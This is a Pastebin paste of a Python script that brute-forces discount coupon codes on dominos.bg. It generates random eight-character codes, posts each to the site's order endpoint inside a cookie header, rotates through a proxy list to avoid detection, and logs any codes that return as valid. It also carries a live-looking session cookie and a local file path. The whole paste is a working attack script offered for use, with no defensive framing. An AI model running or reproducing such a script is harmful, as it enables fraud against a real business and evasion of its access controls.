Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import requests
- import random
- import string
- import threading
- import time
- import os
- def id_generator(size=8, chars=string.ascii_uppercase + string.digits):
- return ''.join(random.choice(chars) for _ in range(size))
- proxies_path = "/Users/yavorbelakov/PycharmProjects/domp/proxies.txt"
- with open(proxies_path) as f:
- proxies_content = f.readlines()
- proxies = [x.strip() for x in proxies_content]
- output_file = open("/Users/yavorbelakov/PycharmProjects/domp/outt.txt", "a+")
- data = {
- 'address_id': '0',
- 'time': '15:20',
- 'time_type': 'LATER',
- 'store_id': '36',
- 'delivery_method': 'C',
- 'show_basket': 'showLast'
- }
- def check_coupon():
- try:
- a = id_generator(8)
- proxy_index = random.randint(0, len(proxies) - 1)
- proxy = {"http": "http://" + proxies[proxy_index], "https": "http://" + proxies[proxy_index]}
- headers = {
- 'authority': 'www.dominos.bg',
- 'accept': '*/*',
- 'sec-fetch-dest': 'empty',
- 'x-requested-with': 'XMLHttpRequest',
- 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36',
- 'content-type': 'application/x-www-form-urlencoded; charset=UTF-8',
- 'origin': 'https://www.dominos.bg',
- 'sec-fetch-site': 'same-origin',
- 'sec-fetch-mode': 'cors',
- 'referer': 'https://www.dominos.bg/checkout',
- 'accept-language': 'en-US,en;q=0.9,bg;q=0.8',
- 'cookie': 'Dominos_C_Lang=bg; PHPSESSID=1i911jdrmkpe0a5fu6k0to9lm6; MicrosoftApplicationsTelemetryDeviceId=64f104ee-7423-4ab0-81fa-3b353942f869; MicrosoftApplicationsTelemetryFirstLaunchTime=2020-03-12T10:03:49.893Z; __zlcmid=xBiyjV8QiatGWd; KeepAlive=b7298b4ac6a0649545d2abe1a4f52ff4b69b24f0adf3cbcb4785ee185cb6e6d2649e2b969bc3fed703f4db49084d0d911447dcfd5646d5a4fe08bf956e437fea; Order_data=%7B%22store_id%22%3A%2236%22%2C%22address_id%22%3A0%2C%22delivery_method%22%3A%22C%22%2C%22time%22%3A%2215%3A20%22%2C%22store_perma%22%3A%22sofia-borovo%22%7D; Toppings=%5B%7B%22product%22%3A%22534%22%2C%22toppings%22%3A%5B%7B%221%22%3A%221%22%2C%222%22%3A%221%22%2C%223%22%3A%221%22%2C%226%22%3A%221%22%2C%229%22%3A%221%22%2C%22197%22%3A%221%22%7D%5D%2C%22specs%22%3A%5B%2235113%22%5D%7D%2C%7B%22product%22%3A%22233%22%2C%22toppings%22%3A%5B%7B%221%22%3A%221%22%2C%222%22%3A%222%22%7D%5D%2C%22specs%22%3A%5B%228471%22%5D%7D%5D; Basket=%7B%2236%22%3A%7B%22combo%22%3A%5B%5D%2C%22catering%22%3A%5B%5D%2C%22normal%22%3A%5B%7B%22ids%22%3A%5B%228471%22%5D%2C%22quantity%22%3A1%2C%22toppings%22%3A%5B%7B%221%22%3A%221%22%2C%222%22%3A%222%22%7D%5D%2C%22comments%22%3A%22%22%2C%22favorite%22%3A%22%22%7D%5D%7D%7D; Coupons= %5B%22' + a + '%22%5D'
- }
- response = requests.post('https://www.dominos.bg/new/ajax/order.php', headers=headers, proxies=proxy, data=data,timeout=5)
- # response = requests.post('https://www.dominos.bg/new/ajax/order.php', proxies=proxy, headers=headers, data=data, timeout = 5)
- #print(response.text)
- if "Coupon_not_found" in response.text:
- print(a + " not valid\n")
- output_file.write(a + " not valid\n")
- output_file.flush()
- elif "Coupon_found" in response.text:
- print("Coupon: " + a + "\n")
- output_file.write("Coupon: " + a + "\n")
- output_file.flush()
- check_coupon()
- except:
- print("exception")
- check_coupon()
- if __name__ == '__main__':
- check_coupon()
- threads = []
- t = threading.Thread(target=check_coupon())
- threads.append(t)
- t.start()
- for t in threads:
- t.join()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement